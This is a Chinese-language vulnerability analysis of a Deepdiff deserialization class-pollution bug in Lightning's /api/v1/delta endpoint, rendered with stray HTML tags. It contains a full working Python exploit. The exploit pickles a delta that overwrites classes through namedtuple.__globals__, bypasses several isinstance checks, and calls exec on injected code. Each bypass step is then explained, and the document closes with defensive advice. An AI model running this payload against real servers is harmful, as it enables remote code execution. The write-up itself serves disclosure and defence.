属性污染导致的RCE漏洞分析与利用<\/h1>

漏洞概述<\/h2>
本漏洞是通过反序列化操作污染类和属性，最终导致远程代码执行(RCE)的安全问题。该漏洞存在于一个使用`Deepdiff<\/code>进行反序列化的系统中，攻击者能够绕过反序列化限制，包括魔术方法和白名单机制，通过任意属性写入实现代码执行。<\/p>`

漏洞原理<\/h2>
核心机制<\/h3>

反序列化入口<\/strong>：系统通过\/api\/v1\/delta<\/code>接口接收JSON数据，其中的delta<\/code>参数会被反序列化<\/li>
属性污染<\/strong>：反序列化后的数据被用来动态修改类和对象的属性<\/li>
路径解析<\/strong>：系统通过解析特殊格式的路径字符串来定位和修改目标属性<\/li>
<\/ol>
关键技术点<\/h3>

通过namedtuple<\/code>的__globals__<\/code>属性获取全局命名空间<\/li>
利用路径解析机制动态修改关键类和属性<\/li>
绕过多个isinstance<\/code>类型检查<\/li>
最终通过__call__<\/code>魔术方法执行任意代码<\/li>
<\/ul>
漏洞利用步骤<\/h2>
1. 构造恶意payload<\/h3>
import<\/span> requests,<\/span> time,<\/span> pickle,<\/span> pickletools
<\/span><\/span>from<\/span> collections import<\/span> namedtuple
<\/span><\/span>from<\/span> ordered_set import<\/span> OrderedSet
<\/span><\/span>
<\/span><\/span>def<\/span> send_delta<\/span>(d):
<\/span><\/span>    requests.<\/span>post(server_host +<\/span> '\/api\/v1\/delta'<\/span>, headers=<\/span>{
<\/span><\/span>        'x-lightning-type'<\/span>: '1'<\/span>,
<\/span><\/span>        'x-lightning-session-uuid'<\/span>: '1'<\/span>,
<\/span><\/span>        'x-lightning-session-id'<\/span>: '1'<\/span>
<\/span><\/span>    }, json=<\/span>{"delta"<\/span>: d})
<\/span><\/span>
<\/span><\/span># Monkey patch OrderedSet reduce to make it easier to pickle<\/span>
<\/span><\/span>OrderedSet.<\/span>__reduce__ =<\/span> lambda<\/span> self, *<\/span>args: (OrderedSet, ())
<\/span><\/span>
<\/span><\/span>server_host =<\/span> 'http:\/\/127.0.0.1:7501'<\/span>
<\/span><\/span>command =<\/span> 'dir'<\/span>
<\/span><\/span>
<\/span><\/span># 注入的恶意代码<\/span>
<\/span><\/span>injected_code =<\/span> f<\/span>"__import__('os').system('calc.exe')"<\/span> +<\/span> '''
<\/span><\/span><\/span>import lightning, sys
<\/span><\/span><\/span>from lightning.app.api.request_types import _DeltaRequest, _APIRequest
<\/span><\/span><\/span>lightning.app.core.app._DeltaRequest = _DeltaRequest
<\/span><\/span><\/span>from lightning.app.structures.dict import Dict
<\/span><\/span><\/span>lightning.app.structures.Dict = Dict
<\/span><\/span><\/span>from lightning.app.core.flow import LightningFlow
<\/span><\/span><\/span>lightning.app.core.LightningFlow = LightningFlow
<\/span><\/span><\/span>LightningFlow._INTERNAL_STATE_VARS = {"_paths", "_layout"}
<\/span><\/span><\/span>lightning.app.utilities.commands.base._APIRequest = _APIRequest
<\/span><\/span><\/span>del sys.modules['lightning.app.utilities.types']'''<\/span>
<\/span><\/span>
<\/span><\/span>bypass_isinstance =<\/span> OrderedSet
<\/span><\/span>
<\/span><\/span>delta =<\/span> {
<\/span><\/span>    'attribute_added'<\/span>: {
<\/span><\/span>        "root['function']"<\/span>: namedtuple,
<\/span><\/span>        # 绕过_collect_deltas_from_ui_and_work_queues中的isinstance(delta, _DeltaRequest)<\/span>
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].core.app._DeltaRequest"<\/span>: str,
<\/span><\/span>        # 绕过_process_requests中的isinstance(request, _APIRequest)<\/span>
<\/span><\/span>        "root['bypass_isinstance']"<\/span>: bypass_isinstance,
<\/span><\/span>        "root['bypass_isinstance'].'__instancecheck__'"<\/span>: str,
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].utilities.commands.base._APIRequest"<\/span>: bypass_isinstance(),
<\/span><\/span>        # 绕过get_component_by_name中的isinstance(current, LightningDict)<\/span>
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].structures.Dict"<\/span>: dict,
<\/span><\/span>        # 绕过get_component_by_name中的if not isinstance(child, ComponentTuple):<\/span>
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].core.LightningFlow"<\/span>: bypass_isinstance(),
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['typing'].Union"<\/span>: list,
<\/span><\/span>        # 防止前面程序报错将`provided_state["vars"]`覆盖为空<\/span>
<\/span><\/span>        "root['vars']"<\/span>: {},
<\/span><\/span>        # 或者将`_INTERNAL_STATE_VARS`覆盖为空<\/span>
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS"<\/span>: (),
<\/span><\/span>        # 设置最终执行的函数和参数<\/span>
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.name"<\/span>: "root.__init__.__builtins__.exec"<\/span>,
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.method_name"<\/span>: "__call__"<\/span>,
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.args"<\/span>: (injected_code,),
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.kwargs"<\/span>: {},
<\/span><\/span>        "root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.id"<\/span>: "root"<\/span>
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span>
<\/span><\/span>payload =<\/span> pickletools.<\/span>optimize(pickle.<\/span>dumps(delta, 1<\/span>)).<\/span>decode() \
<\/span><\/span>    .<\/span>replace('__builtin__'<\/span>, 'builtins'<\/span>) \
<\/span><\/span>    .<\/span>replace('unicode'<\/span>, 'str'<\/span>)
<\/span><\/span>
<\/span><\/span># 发送payload进行属性污染<\/span>
<\/span><\/span>send_delta(payload)
<\/span><\/span>
<\/span><\/span># 稍等确保payload被处理<\/span>
<\/span><\/span>time.<\/span>sleep(0.2<\/span>)
<\/span><\/span>send_delta({})  # 触发代码执行<\/span>
<\/span><\/span><\/code><\/pre>2. 关键绕过技术<\/h3>
(1) 绕过isinstance(delta, _DeltaRequest)<\/code>检测<\/h4>
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.app._DeltaRequest"<\/span>: str
<\/span><\/span><\/code><\/pre>将_DeltaRequest<\/code>类覆盖为str<\/code>类，使isinstance(delta, _DeltaRequest)<\/code>返回False<\/code><\/p>
(2) 绕过isinstance(request, _APIRequest)<\/code>检测<\/h4>
bypass_isinstance =<\/span> OrderedSet
<\/span><\/span>
<\/span><\/span>"root['bypass_isinstance']"<\/span>: bypass_isinstance,
<\/span><\/span>"root['bypass_isinstance'].'__instancecheck__'"<\/span>: str,
<\/span><\/span>"root['function'].'__globals__'['_sys'].modules['lightning.app'].utilities.commands.base._APIRequest"<\/span>: bypass_isinstance(),
<\/span><\/span><\/code><\/pre>利用OrderedSet<\/code>并设置__instancecheck__<\/code>属性，使所有isinstance<\/code>检查返回True<\/code><\/p>
(3) 绕过isinstance(child, ComponentTuple)<\/code>检测<\/h4>
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.LightningFlow"<\/span>: bypass_isinstance(),
<\/span><\/span>"root['function'].'__globals__'['_sys'].modules['typing'].Union"<\/span>: list,
<\/span><\/span><\/code><\/pre>将LightningFlow<\/code>覆盖为OrderedSet<\/code>，Union<\/code>覆盖为list<\/code>，绕过类型检查<\/p>
(4) 绕过isinstance(current, LightningDict)<\/code>检测<\/h4>
"root['function'].'__globals__'['_sys'].modules['lightning.app'].structures.Dict"<\/span>: dict,
<\/span><\/span><\/code><\/pre>将LightningDict<\/code>类覆盖为普通dict<\/code>类<\/p>
3. 防止报错的两种方法<\/h3>
# 方法1: 将provided_state["vars"]覆盖为空<\/span>
<\/span><\/span>"root['vars']"<\/span>: {},
<\/span><\/span>
<\/span><\/span># 方法2: 将_INTERNAL_STATE_VARS覆盖为空<\/span>
<\/span><\/span>"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS"<\/span>: (),
<\/span><\/span><\/code><\/pre>4. 最终代码执行<\/h3>
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.name"<\/span>: "root.__init__.__builtins__.exec"<\/span>,
<\/span><\/span>"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.method_name"<\/span>: "__call__"<\/span>,
<\/span><\/span>"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.args"<\/span>: (injected_code,),
<\/span><\/span>"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.kwargs"<\/span>: {},
<\/span><\/span>"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.id"<\/span>: "root"<\/span>
<\/span><\/span><\/code><\/pre>通过__call__<\/code>方法调用exec<\/code>执行任意代码<\/p>
技术细节分析<\/h2>
1. 路径解析机制<\/h3>
系统使用_path_to_elements<\/code>函数解析路径字符串，例如：<\/p>
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.test6"
<\/code><\/pre>
会被解析为：<\/p>
(('root'<\/span>, 'GETATTR'<\/span>), ('function'<\/span>, 'GET'<\/span>), ('__globals__'<\/span>, 'GETATTR'<\/span>), ('_sys'<\/span>, 'GET'<\/span>), ('modules'<\/span>, 'GETATTR'<\/span>), ('lightning.app'<\/span>, 'GET'<\/span>), ('api'<\/span>, 'GETATTR'<\/span>), ('request_types'<\/span>, 'GETATTR'<\/span>), ('_DeltaRequest'<\/span>, 'GETATTR'<\/span>), ('test6'<\/span>, 'GETATTR'<\/span>))
<\/span><\/span><\/code><\/pre>2. 属性设置机制<\/h3>
系统通过_set_new_value<\/code>方法动态设置属性：<\/p>
def<\/span> _simple_set_elem_value<\/span>(self, obj, path_for_err_reporting, elem=<\/span>None<\/span>, value=<\/span>None<\/span>, action=<\/span>None<\/span>):
<\/span><\/span>    try<\/span>:
<\/span><\/span>        if<\/span> action ==<\/span> GET:
<\/span><\/span>            obj[elem] =<\/span> value
<\/span><\/span>        elif<\/span> action ==<\/span> GETATTR:
<\/span><\/span>            setattr(obj, elem, value)
<\/span><\/span>    except<\/span> (KeyError<\/span>, IndexError<\/span>, AttributeError<\/span>, TypeError<\/span>) as<\/span> e:
<\/span><\/span>        self.<\/span>_raise_or_log('Failed to set <\/span>{}<\/span> due to <\/span>{}<\/span>'<\/span>.<\/span>format(path_for_err_reporting, e))
<\/span><\/span><\/code><\/pre>3. 反序列化白名单绕过<\/h3>
虽然系统有反序列化白名单，但通过以下方式绕过：<\/p>

使用白名单内的类（如namedtuple<\/code>）<\/li>
通过__globals__<\/code>获取全局命名空间<\/li>
动态修改关键类和属性<\/li>
<\/ol>
防御建议<\/h2>

严格限制反序列化<\/strong>：避免反序列化不可信数据，或使用更安全的序列化格式<\/li>
加强类型检查<\/strong>：不要仅依赖isinstance<\/code>进行安全检查<\/li>
限制属性访问<\/strong>：对动态属性访问进行严格控制<\/li>
使用不可变类<\/strong>：关键类应设计为不可变，防止运行时修改<\/li>
最小权限原则<\/strong>：运行服务的账户应具有最小必要权限<\/li>
<\/ol>
总结<\/h2>
该漏洞展示了如何通过精心构造的反序列化数据，利用系统的路径解析和属性设置机制，绕过多个安全检查，最终实现任意代码执行。攻击者通过污染关键类和属性，改变了系统的正常行为流程，展示了属性污染类漏洞的强大威力。<\/p>